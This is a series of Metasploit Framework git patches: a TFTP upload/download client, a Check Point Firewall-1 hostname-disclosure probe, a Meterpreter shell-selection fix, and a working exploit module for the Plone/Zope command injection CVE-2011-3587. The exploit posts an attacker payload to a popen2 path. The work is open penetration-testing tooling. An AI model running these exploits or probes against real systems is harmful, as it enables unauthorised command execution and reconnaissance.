From f997a7fc317c1ce89856bdfa9aae52cfaf7edef4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 20 Dec 2011 11:25:08 -0600 Subject: [PATCH 1/7] Adding TFTP client and lib to the next release Squashed commit of the following: commit 11a27a1e6112fa0f567394331164fa17be7feae2 Author: Tod Beardsley Date: Tue Dec 20 10:06:44 2011 -0600 Renaming TFTP transfer util. See #5291. Just renaming the file. commit 24d53efa7cd1881f3c8ef8a09f1ff29643006505 Author: Tod Beardsley Date: Tue Dec 20 10:03:04 2011 -0600 Final touches on TFTP client See #5291. Adds an option to mess with the block size in case someone wants to write a fuzzer or exploit that leverages that. Adds a cleanup method to the module (pretty much required, it turns out). Looking nearly final, just need to rename the module and I think we're good to push to master. commit 677cb4b15240c663517f7c696ef4875b7f99e6e7 Author: Tod Beardsley Date: Mon Dec 19 21:56:03 2011 -0600 Handle empty data sends sanely for TFTP. Don't just hang forever -- let the user know they just send empty data. TFTP servers don't like this of course. commit 2b3e3725ac9550d741fb7e2c8af7f3a32d912dc8 Author: Tod Beardsley Date: Mon Dec 19 18:15:19 2011 -0600 TFTP adding comment docs, ability to send w/out a file. Commenting the tricksy parts a little better for general usage. Adding the ability to set FILEDATA instead of FILENAME, in case only short bits of data are desired and the user doesn't want to go to the trouble of creating a source file to upload. commit 431ef826c99593d91c8ce194837220464c9d6491 Author: Tod Beardsley Date: Mon Dec 19 16:33:25 2011 -0600 TFTP client now uses constants, preserves trailing spaces/nulls in data See #5291, just rediscovered the bug on this. commit 5eaf2e75356337855b4e30bec7fbb69ff8609e19 Author: Tod Beardsley Date: Mon Dec 19 15:50:50 2011 -0600 Adding download and loot functionality. Still need to deal with the use case of not passing a block; blocks should not be required, it should be okay to invoke and just wait for the complete attribute to be true. You'll miss out on error messages but eh, maybe those should be return values. commit aecde6fea453586319d8ddd009d020e1041f620c Author: Tod Beardsley Date: Mon Dec 19 12:14:40 2011 -0600 Updating TFTP client. Now with grown-up thread handling. No longer blocks on successful connections. commit 902d7f5ea7c374920e13fa20dbc1aff6e953f301 Author: Tod Beardsley Date: Sun Dec 18 21:05:27 2011 -0600 Adding more to TFTP. Still need a read tho Adds error checking and some helpful messaging in the event of an error. In the event of a failed transfer the module exits immediately, but in success, I'm still hanging around for several seconds after. Not a deal breaker but can be annoying. Also, need to implement a read as well as a write and store it as loot, to be actually useful for most TFTP checking. commit 23aadd04f70253841a856e069752b5727a79bf6d Author: Tod Beardsley Date: Sun Dec 18 13:28:52 2011 -0600 Fixing merge conflict cruft Dangit teach me to merge quickly. TFTP module now loads again. commit 1201d7fbf295e8db8c8e298f5312d15825efc99d Merge: 0b89140 a6867ef Author: Tod Beardsley Date: Fri Dec 16 22:41:22 2011 -0600 Merge branch 'tftp_client' of github_r7:rapid7/metasploit-framework into tftp_client Conflicts: modules/auxiliary/admin/tftp/tftp_upload_file.rb commit 0b8914021c6151d84a0776c2757fce1fa2ee2875 Author: Tod Beardsley Date: Fri Dec 16 21:06:10 2011 -0600 Switch to vprint_status, also add skeletal cleanup def. commit 50fa10679bc36b7ef33d74de3dfc1ffff9f9192f Author: Tod Beardsley Date: Fri Dec 16 18:39:09 2011 -0600 First draft of a TFTP client. Could use some actual error checking and also needs to expose more options. commit a6867ef1287af1786b2e0cd6e7b13fdb8099ce2a Author: Tod Beardsley Date: Fri Dec 16 18:39:09 2011 -0600 First draft of a TFTP client. Could use some actual error checking and also needs to expose more options. --- lib/rex/proto/tftp.rb | 1 + lib/rex/proto/tftp/client.rb | 343 ++++++++++++++++++ .../admin/tftp/tftp_transfer_util.rb | 209 +++++++++++ 3 files changed, 553 insertions(+) create mode 100644 lib/rex/proto/tftp/client.rb create mode 100644 modules/auxiliary/admin/tftp/tftp_transfer_util.rb diff --git a/lib/rex/proto/tftp.rb b/lib/rex/proto/tftp.rb index 723acd0c5d..16bf85e582 100644 --- a/lib/rex/proto/tftp.rb +++ b/lib/rex/proto/tftp.rb @@ -10,3 +10,4 @@ require 'rex/proto/tftp/constants' require 'rex/proto/tftp/server' +require 'rex/proto/tftp/client' diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb new file mode 100644 index 0000000000..fb595489b0 --- /dev/null +++ b/lib/rex/proto/tftp/client.rb @@ -0,0 +1,343 @@ +require 'rex/socket' +require 'rex/proto/tftp' +require 'tempfile' + +module Rex +module Proto +module TFTP + +# +# TFTP Client class +# +# Note that TFTP has blocks, and so does Ruby. Watch out with the variable names! +# +# The big gotcha right now is that setting the mode between octet, netascii, or +# anything else doesn't actually do anything other than declare it to the +# server. +# +# Also, since TFTP clients act as both clients and servers, we use two +# threads to handle transfers, regardless of the direction. For this reason, +# the transfer actions are nonblocking; if you need to see the +# results of a transfer before doing something else, check the boolean complete +# attribute and any return data in the :status attribute. It's a little +# weird like that. +# +# Finally, most (all?) clients will alter the data in netascii mode in order +# to try to conform to the RFC standard for what "netascii" means, but there are +# ambiguities in implementations on things like if nulls are allowed, what +# to do with Unicode, and all that. For this reason, "octet" is default, and +# if you want to send "netascii" data, it's on you to fix up your source data +# prior to sending it. +# +class Client + + attr_accessor :local_host, :local_port, :peer_host, :peer_port + attr_accessor :threads, :context, :server_sock, :client_sock + attr_accessor :local_file, :remote_file, :mode, :action + attr_accessor :complete, :recv_tempfile, :status + attr_accessor :block_size # This definitely breaks spec, should only use for fuzz/sploit. + + # Returns an array of [code, type, msg]. Data packets + # specifically will /not/ unpack, since that would drop any trailing spaces or nulls. + def parse_tftp_response(str) + return nil unless str.length >= 4 + ret = str.unpack("nnA*") + ret[2] = str[4,str.size] if ret[0] == OpData + return ret + end + + def initialize(params) + self.threads = [] + self.local_host = params["LocalHost"] || "0.0.0.0" + self.local_port = params["LocalPort"] || (1025 + rand(0xffff-1025)) + self.peer_host = params["PeerHost"] || (raise ArgumentError, "Need a peer host.") + self.peer_port = params["PeerPort"] || 69 + self.context = params["Context"] || {} + self.local_file = params["LocalFile"] + self.remote_file = params["RemoteFile"] || ::File.split(self.local_file).last + self.mode = params["Mode"] || "octet" + self.action = params["Action"] || (raise ArgumentError, "Need an action.") + self.block_size = params["BlockSize"] || 512 + end + + # + # Methods for both upload and download + # + + def start_server_socket + self.server_sock = Rex::Socket::Udp.create( + 'LocalHost' => local_host, + 'LocalPort' => local_port, + 'Context' => context + ) + if self.server_sock and block_given? + yield "Started TFTP client listener on #{local_host}:#{local_port}" + end + self.threads << Rex::ThreadFactory.spawn("TFTPServerMonitor", false) { + if block_given? + monitor_server_sock {|msg| yield msg} + else + monitor_server_sock + end + } + end + + def monitor_server_sock + yield "Listening for incoming ACKs" if block_given? + res = self.server_sock.recvfrom(65535) + if res and res[0] + code, type, data = parse_tftp_response(res[0]) + if code == OpAck and self.action == :upload + if block_given? + yield "WRQ accepted, sending the file." if type == 0 + send_data(res[1], res[2]) {|msg| yield msg} + else + send_data(res[1], res[2]) + end + elsif code == OpData and self.action == :download + if block_given? + recv_data(res[1], res[2], data) {|msg| yield msg} + else + recv_data(res[1], res[2], data) + end + elsif code == OpError + yield("Aborting, got error type:%d, message:'%s'" % [type, data]) if block_given? + self.status = {:error => [code, type, data]} + else + yield("Aborting, got code:%d, type:%d, message:'%s'" % [code, type, data]) if block_given? + self.status = {:error => [code, type, data]} + end + end + stop + end + + def monitor_client_sock + res = self.client_sock.recvfrom(65535) + if res[1] # Got a response back, so that's never good; Acks come back on server_sock. + code, type, data = parse_tftp_response(res[0]) + yield("Aborting, got code:%d, type:%d, message:'%s'" % [code, type, data]) if block_given? + self.status = {:error => [code, type, data]} + stop + end + end + + def stop + self.complete = true + begin + self.server_sock.close + self.client_sock.close + self.server_sock = nil + self.client_sock = nil + self.threads.each {|t| t.kill} + rescue + nil + end + end + + # + # Methods for download + # + + def rrq_packet + req = [OpRead, self.remote_file, self.mode] + packstr = "na#{self.remote_file.length+1}a#{self.mode.length+1}" + req.pack(packstr) + end + + def ack_packet(blocknum=0) + req = [OpAck, blocknum].pack("nn") + end + + def send_read_request(&block) + self.status = nil + self.complete = false + if block_given? + start_server_socket {|msg| yield msg} + else + start_server_socket + end + self.client_sock = Rex::Socket::Udp.create( + 'PeerHost' => peer_host, + 'PeerPort' => peer_port, + 'LocalHost' => local_host, + 'LocalPort' => local_port, + 'Context' => context + ) + self.client_sock.sendto(rrq_packet, peer_host, peer_port) + self.threads << Rex::ThreadFactory.spawn("TFTPClientMonitor", false) { + if block_given? + monitor_client_sock {|msg| yield msg} + else + monitor_client_sock + end + } + until self.complete + return self.status + end + end + + def recv_data(host, port, first_block) + self.recv_tempfile = Rex::Quickfile.new('msf-tftp') + recvd_blocks = 1 + if block_given? + yield "Source file: #{self.remote_file}, destination file: #{self.local_file}" + yield "Received and acknowledged #{first_block.size} in block #{recvd_blocks}" + end + if block_given? + write_and_ack_data(first_block,1,host,port) {|msg| yield msg} + else + write_and_ack_data(first_block,1,host,port) + end + current_block = first_block + while current_block.size == 512 + res = self.server_sock.recvfrom(65535) + if res and res[0] + code, block_num, current_block = parse_tftp_response(res[0]) + if code == 3 + if block_given? + write_and_ack_data(current_block,block_num,host,port) {|msg| yield msg} + else + write_and_ack_data(current_block,block_num,host,port) + end + recvd_blocks += 1 + else + yield("Aborting, got code:%d, type:%d, message:'%s'" % [code, type, msg]) if block_given? + stop + end + end + end + if block_given? + yield("Transferred #{self.recv_tempfile.size} bytes in #{recvd_blocks} blocks, download complete!") + end + self.status = {:success => [ + self.local_file, + self.remote_file, + self.recv_tempfile.size, + recvd_blocks.size] + } + self.recv_tempfile.close + stop + end + + def write_and_ack_data(data,blocknum,host,port) + self.recv_tempfile.write(data) + self.recv_tempfile.flush + req = ack_packet(blocknum) + self.server_sock.sendto(req, host, port) + yield "Received and acknowledged #{data.size} in block #{blocknum}" if block_given? + end + + # + # Methods for upload + # + + def wrq_packet + req = [OpWrite, self.remote_file, self.mode] + packstr = "na#{self.remote_file.length+1}a#{self.mode.length+1}" + req.pack(packstr) + end + + # Note that the local filename for uploading need not be a real filename -- + # if it begins with DATA: it can be any old string of bytes. If it's missing + # completely, then just quit. + def blockify_file_or_data + if self.local_file =~ /^DATA:(.*)/m + data = $1 + elsif ::File.file?(self.local_file) and ::File.readable?(self.local_file) + data = ::File.open(self.local_file, "rb") {|f| f.read f.stat.size} rescue [] + else + return [] + end + data_blocks = data.scan(/.{1,#{block_size}}/m) + # Drop any trailing empty blocks + if data_blocks.size > 1 and data_blocks.last.empty? + data_blocks.pop + end + return data_blocks + end + + def send_write_request(&block) + self.status = nil + self.complete = false + if block_given? + start_server_socket {|msg| yield msg} + else + start_server_socket + end + self.client_sock = Rex::Socket::Udp.create( + 'PeerHost' => peer_host, + 'PeerPort' => peer_port, + 'LocalHost' => local_host, + 'LocalPort' => local_port, + 'Context' => context + ) + self.client_sock.sendto(wrq_packet, peer_host, peer_port) + self.threads << Rex::ThreadFactory.spawn("TFTPClientMonitor", false) { + if block_given? + monitor_client_sock {|msg| yield msg} + else + monitor_client_sock + end + } + until self.complete + return self.status + end + end + + def send_data(host,port) + self.status = {:write_allowed => true} + data_blocks = blockify_file_or_data() + if data_blocks.empty? + yield "Closing down since there is no data to send." if block_given? + self.status = {:success => [self.local_file, self.local_file, 0, 0]} + return nil + end + sent_data = 0 + sent_blocks = 0 + expected_blocks = data_blocks.size + expected_size = data_blocks.join.size + if block_given? + yield "Source file: #{self.local_file =~ /^DATA:/ ? "(Data)" : self.remote_file}, destination file: #{self.remote_file}" + yield "Sending #{expected_size} bytes (#{expected_blocks} blocks)" + end + data_blocks.each_with_index do |data_block,idx| + req = [OpData, (idx + 1), data_block].pack("nnA*") + if self.server_sock.sendto(req, host, port) > 0 + sent_data += data_block.size + end + res = self.server_sock.recvfrom(65535) + if res + code, type, msg = parse_tftp_response(res[0]) + if code == 4 + sent_blocks += 1 + yield "Sent #{data_block.size} bytes in block #{sent_blocks}" if block_given? + else + if block_given? + yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg] + end + break + end + end + end + if block_given? + if(sent_data == expected_size) + yield("Transferred #{sent_data} bytes in #{sent_blocks} blocks, upload complete!") + else + yield "Upload complete, but with errors." + end + end + if sent_data == expected_size + self.status = {:success => [ + self.local_file, + self.remote_file, + sent_data, + sent_blocks + ] } + end + end + +end + +end +end +end diff --git a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb new file mode 100644 index 0000000000..351e56e980 --- /dev/null +++ b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb @@ -0,0 +1,209 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Rex::Proto::TFTP + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'TFTP File Transfer Utility', + 'Description' => %q{ + This module will transfer a file to or from a remote TFTP server. + Note that the target must be able to connect back to the Metasploit system, + and NAT traversal for TFTP is often unsupported. + + Two actions are supported: "Upload" and "Download," which behave as one might + expect -- use 'set action Actionname' to use either mode of operation. + + If "Download" is selected, at least one of FILENAME or REMOTE_FILENAME + must be set. If "Upload" is selected, either FILENAME must be set to a valid path to + a source file, or FILEDATA must be populated. FILENAME may be a fully qualified path, + or the name of a file in the Msf::Config.local_directory or Msf::Config.data_directory. + }, + 'Author' => [ 'todb' ], + 'References' => + [ + ['URL', 'http://www.faqs.org/rfcs/rfc1350.html'], + ['URL', 'http://www.networksorcery.com/enp/protocol/tftp.htm'] + ], + 'Actions' => [ + [ 'Download', {'Description' => "Download REMOTE_FILENAME as FILENAME from the server."}], + [ 'Upload', {'Description' => "Upload FILENAME as REMOTE_FILENAME to the server."}] + ], + 'DefaultAction' => 'Upload', + 'License' => MSF_LICENSE + ) + register_options([ + OptString.new( 'FILENAME', [false, "The local filename" ]), + OptString.new( 'FILEDATA', [false, "Data to upload in lieu of a real local file." ]), + OptString.new( 'REMOTE_FILENAME', [false, "The remote filename"]), + OptAddress.new('RHOST', [true, "The remote TFTP server"]), + OptPort.new( 'LPORT', [false, "The local port the TFTP client should listen on (default is random)" ]), + OptAddress.new('LHOST', [false, "The local address the TFTP client should bind to"]), + OptBool.new( 'VERBOSE', [false, "Display verbose details about the transfer", false]), + OptString.new( 'MODE', [false, "The TFTP mode; usual choices are netascii and octet.", "octet"]), + Opt::RPORT(69) + ], self.class) + end + + def mode + datastore['MODE'] || "octect" + end + + def remote_file + datastore['REMOTE_FILENAME'] || ::File.split(datastore['FILENAME']).last + end + + def rport + datastore['RPORT'] || 69 + end + + def rhost + datastore['RHOST'] + end + + # Used only to store loot, doesn't actually have any semantic meaning + # for the TFTP protocol. + def datatype + case datastore['MODE'] + when "netascii" + "text/plain" + else + "application/octet-stream" + end + end + + def file + if action.name == "Upload" + fdata = datastore['FILEDATA'].to_s + fname = datastore['FILENAME'].to_s + if not fdata.empty? + fdata_decorated = "DATA:#{datastore['FILEDATA']}" + elsif ::File.readable? fname + fname + else + fname_local = ::File.join(Msf::Config.local_directory,fname) + fname_data = ::File.join(Msf::Config.data_directory,fname) + return fname_local if ::File.file?(fname_local) and ::File.readable?(fname_local) + return fname_data if ::File.file?(fname_data) and ::File.readable?(fname_data) + return nil # Couldn't find it, giving up. + end + else # "Download" + fname = ::File.split(datastore['FILENAME'] || datastore['REMOTE_FILENAME']).last rescue nil + end + end + + # Experimental message prepending thinger. Might make it up into the + # standard Metasploit lib like vprint_status and friends. + def rtarget(ip=nil) + if (ip or rhost) and rport + [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " " + elsif (ip or rhost) + "#{rhost} " + else + "" + end + end + + # This all happens before run(), and should give an idea on how to use + # the TFTP client mixin. Essentially, you create an instance of the + # Rex::Proto::TFTP::Client class, fill it up with the relevant host and + # file data, set it to either :upload or :download, then kick off the + # transfer as you like. + def setup + @lport = datastore['LPORT'] || (1025 + rand(0xffff-1025)) + @lhost = datastore['LHOST'] || "0.0.0.0" + @local_file = file + @remote_file = remote_file + + @tftp_client = Rex::Proto::TFTP::Client.new( + "LocalHost" => @lhost, + "LocalPort" => @lport, + "PeerHost" => rhost, + "PeerPort" => rport, + "LocalFile" => @local_file, + "RemoteFile" => @remote_file, + "Mode" => mode, + "Action" => action.name.to_s.downcase.intern + ) + end + + def run + run_upload() if action.name == 'Upload' + run_download() if action.name == 'Download' + while not @tftp_client.complete + select(nil,nil,nil,1) + print_status [rtarget,"TFTP transfer operation complete."].join + save_downloaded_file() if action.name == 'Download' + break + end + end + + # Run in case something untoward happend with the connection and the + # client object didn't get stopped on its own. This can happen with + # transfers that got interrupted or malformed (like sending a 0 byte + # file). + def cleanup + if @tftp_client and @tftp_client.respond_to? :complete + while not @tftp_client.complete + select(nil,nil,nil,1) + vprint_status "Cleaning up the TFTP client ports and threads." + @tftp_client.stop + end + end + end + + def run_upload + print_status "Sending '#{file}' to #{rhost}:#{rport} as '#{remote_file}'" + ret = @tftp_client.send_write_request { |msg| print_tftp_status(msg) } + end + + def run_download + print_status "Receiving '#{remote_file}' from #{rhost}:#{rport} as '#{file}'" + ret = @tftp_client.send_read_request { |msg| print_tftp_status(msg) } + end + + def save_downloaded_file + print_status "Saving #{remote_file} as '#{file}'" + fh = @tftp_client.recv_tempfile + data = File.open(fh,"rb") {|f| f.read f.stat.size} rescue nil + if data and not data.empty? + unless framework.db.active + print_status "No database connected, so not actually saving the data:" + print_line data + end + this_service = report_service( + :host => rhost, + :port => rport, + :name => "tftp", + :proto => "udp" + ) + store_loot("tftp.file",datatype,rhost,data,file,remote_file,this_service) + else + print_status [rtarget,"Did not find any data, so nothing to save."].join + end + fh.unlink rescue nil # Windows often complains about unlinking tempfiles + end + + def print_tftp_status(msg) + case msg + when /Aborting/, /errors.$/ + print_error [rtarget,msg].join + when /^WRQ accepted/, /^Sending/, /complete!$/ + print_good [rtarget,msg].join + else + vprint_status [rtarget,msg].join + end + end + +end + From 99556da7efab83aec081325bf0641a016b1687af Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 20 Dec 2011 15:44:05 -0600 Subject: [PATCH 2/7] Adds reporting to Patrick's Checkpoint module Also refers to port 264/TCP as the SecuRemote service instead of the Topology service (I believe this is correct) Reporting is initially conservative -- if we don't get something for fw_hostname, then don't bother reporting at all; assume we're mis-identifying the target. --- .../auxiliary/gather/checkpoint_hostname.rb | 48 ++++++++++++++----- 1 file changed, 35 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index f3b1e078ef..03d98024b3 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -9,28 +5,26 @@ # http://metasploit.com/framework/ ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, - 'Name' => 'CheckPoint Firewall-1 Topology Service Hostname Disclosure', + 'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure', 'Description' => %q{ - This module sends a query to the TCP port 264 on CheckPoint + This module sends a query to the port 264/TCP on CheckPoint Firewall-1 firewalls to obtain the firewall name and management station - (such as SmartCenter) name. + (such as SmartCenter) name via a pre-authentication topology request. }, 'Author' => [ 'patrick' ], - 'Version' => '$Revision$', 'References' => [ # patrickw - None? Stumbled across, probably an old bug/feature but unsure. [ 'URL', 'http://www.osisecurity.com.au/advisories/' ], + [ 'URL', 'http://www.securiteam.com/securitynews/5HP0D2A4UC.html' ] # Related? ] )) @@ -45,7 +39,10 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("Attempting to contact Checkpoint FW1 Topology service...") + print_status("Attempting to contact Checkpoint FW1 SecuRemote Topology service...") + fw_hostname = nil + sc_hostname = nil + connect sock.put("\x51\x00\x00\x00") @@ -56,14 +53,39 @@ class Metasploit3 < Msf::Auxiliary sock.put("\x00\x00\x00\x0bsecuremote\x00") res = sock.get_once if (res =~ /CN\=(.+),O\=(.+)\./i) - print_good("Firewall Host: #{$1}") - print_good("SmartCenter Host: #{$2}") + fw_hostname = $1 + sc_hostname = $2 + print_good("Firewall Host: #{fw_hostname}") + print_good("SmartCenter Host: #{sc_hostname}") end else print_error("Unexpected response:\r\n#{res}") end + report_info(fw_hostname,sc_hostname) + disconnect end + # Only trust that it's real if we have a hostname. If you get a funny + # response, it might not be what we think it is. + def report_info(fw_hostname,sc_hostname) + return unless fw_hostname + host_info = { + :host => datastore['RHOST'], + :os_name => "Checkpoint Firewall-1", + :purpose => "firewall" + } + host_info[:name] = fw_hostname + host_info[:info] = "SmartCenter Host: #{sc_hostname}" if sc_hostname + report_host(host_info) + svc_info = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :proto => "tcp", + :name => "securemote" + } + report_service(svc_info) + end + end From 1429de6edc11adf8917b508b2c6c21ce2ebfedd1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 20 Dec 2011 15:46:31 -0600 Subject: [PATCH 3/7] Checkpoint error msg should use res.inspect Otherwise your terminal will go all wonky. --- modules/auxiliary/gather/checkpoint_hostname.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 03d98024b3..721896195a 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary print_good("SmartCenter Host: #{sc_hostname}") end else - print_error("Unexpected response:\r\n#{res}") + print_error("Unexpected response:\r\n#{res.inspect}") end report_info(fw_hostname,sc_hostname) From f9471d60096ad8421d590098a44b921297270846 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 21 Dec 2011 10:59:02 -0600 Subject: [PATCH 4/7] Adding ref/disclosure date to checkpoint module Talked with patrick, this all looks correct now. --- modules/auxiliary/gather/checkpoint_hostname.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 721896195a..17ad406b1c 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -18,13 +18,17 @@ class Metasploit3 < Msf::Auxiliary This module sends a query to the port 264/TCP on CheckPoint Firewall-1 firewalls to obtain the firewall name and management station (such as SmartCenter) name via a pre-authentication topology request. + Note that the SecuriTeam reference listed here is not the same vulnerabilty, but it + does discus the same protocol and is somewhat related to this information + disclosure. }, 'Author' => [ 'patrick' ], + 'DisclosureDate' => 'Dec 14 2011', # Looks like this module is first real reference 'References' => [ # patrickw - None? Stumbled across, probably an old bug/feature but unsure. - [ 'URL', 'http://www.osisecurity.com.au/advisories/' ], - [ 'URL', 'http://www.securiteam.com/securitynews/5HP0D2A4UC.html' ] # Related? + [ 'URL', 'http://www.osisecurity.com.au/advisories/' ], # Advisory coming soon, placeholder + [ 'URL', 'http://www.securiteam.com/securitynews/5HP0D2A4UC.html' ] # Related-ish ] )) From ed4c6ded2c5a3fdeaecb726e658491f48654ed8e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 21 Dec 2011 11:21:46 -0600 Subject: [PATCH 5/7] Fixup on checkpoint firewall module get() should get get_once() (intent is to get 4 bytes, not timeout after 4 seconds), no need to escape equals signs in regexes, no need to newline the unexpected responses. --- modules/auxiliary/gather/checkpoint_hostname.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 17ad406b1c..e8cf92b53f 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -51,19 +51,19 @@ class Metasploit3 < Msf::Auxiliary sock.put("\x51\x00\x00\x00") sock.put("\x00\x00\x00\x21") - res = sock.get(4) + res = sock.get_once(4) if (res == "Y\x00\x00\x00") print_good("Appears to be a CheckPoint Firewall...") sock.put("\x00\x00\x00\x0bsecuremote\x00") res = sock.get_once - if (res =~ /CN\=(.+),O\=(.+)\./i) + if (res =~ /CN=(.+),O=(.+)\./i) fw_hostname = $1 sc_hostname = $2 print_good("Firewall Host: #{fw_hostname}") print_good("SmartCenter Host: #{sc_hostname}") end else - print_error("Unexpected response:\r\n#{res.inspect}") + print_error("Unexpected response: '#{res.inspect}'") end report_info(fw_hostname,sc_hostname) From 80603e03cb21a660f6b886647d8eccd802f28296 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 26 Dec 2011 14:41:24 -0700 Subject: [PATCH 6/7] grab the appropriate shell from mult-platform meterpreters and use /bin/sh instead of /bin/bash for linux to improve compatibility, fixes #5996 --- .../ui/console/command_dispatcher/stdapi/sys.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 5d3b92892a..089315831b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -153,12 +153,21 @@ class Console::CommandDispatcher::Stdapi::Sys # Drop into a system shell as specified by %COMSPEC% or # as appropriate for the host. def cmd_shell(*args) - if client.platform =~/win/ + case client.platform + when /win/ path = client.fs.file.expand_path("%COMSPEC%") path = (path and not path.empty?) ? path : "cmd.exe" cmd_execute("-f", path, "-c", "-H", "-i", "-t") + when /linux/ + # Don't expand_path() this because it's literal anyway + path = "/bin/sh" + cmd_execute("-f", path, "-c", "-i") else - path = client.fs.file.expand_path("/bin/bash") + # Then this is a multi-platform meterpreter (php or java), which + # must special-case COMSPEC to return the system-specific shell. + path = client.fs.file.expand_path("%COMSPEC%") + # If that failed for whatever reason, guess it's unix + path = (path and not path.empty?) ? path : "/bin/sh" cmd_execute("-f", path, "-c", "-i") end end From 101eba6aa5655a24cea84b081445d6db60695d9d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 27 Dec 2011 00:59:26 -0600 Subject: [PATCH 7/7] Add CVE-2011-3587 Plone/Zope Remote CMD Injection (Feature #6151) --- modules/exploits/multi/http/plone_popen2.rb | 93 +++++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/exploits/multi/http/plone_popen2.rb diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb new file mode 100644 index 0000000000..c474f8f72b --- /dev/null +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -0,0 +1,93 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Plone and Zope Remote CMD Injection Exploit', + 'Description' => %q{ + Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x + through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute + arbitrary commands via vectors related to the p_ class in OFS/misc_.py and + the use of Python modules. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Plone Security team', # Vulnerability discovery + 'Nick Miles', # Original exploit + 'TecR0c' # Metasploit module + ], + 'References' => + [ + ['CVE', '2011-3587'], + ['URL', 'http://www.exploit-db.com/exploits/18262/'], + ['URL', 'http://plone.org/products/plone/security/advisories/20110928'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet perl ruby', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 04 2011', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('URI',[true, "The path to the Plone installation", "/"]), + ],self.class) + register_autofilter_ports([ 8080 ]) + end + + def check + uri = datastore['URI'] + uri << '/' if uri[-1,1] != '/' + uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + + res = send_request_raw( + { + 'uri' => uri + }, 25) + if (res.headers['Bobo-Exception-Type'] =~ /zExceptions.BadRequest/) + return Exploit::CheckCode::Vulnerable + end + # patched == zExceptions.NotFound + return Exploit::CheckCode::Safe + end + + def exploit + uri = datastore['URI'] + uri << '/' if uri[-1,1] != '/' + uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + + send_request_cgi( + { + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'cmd' => payload.encoded, + } + }, 0.5) # short timeout, we don't care about the response + end +end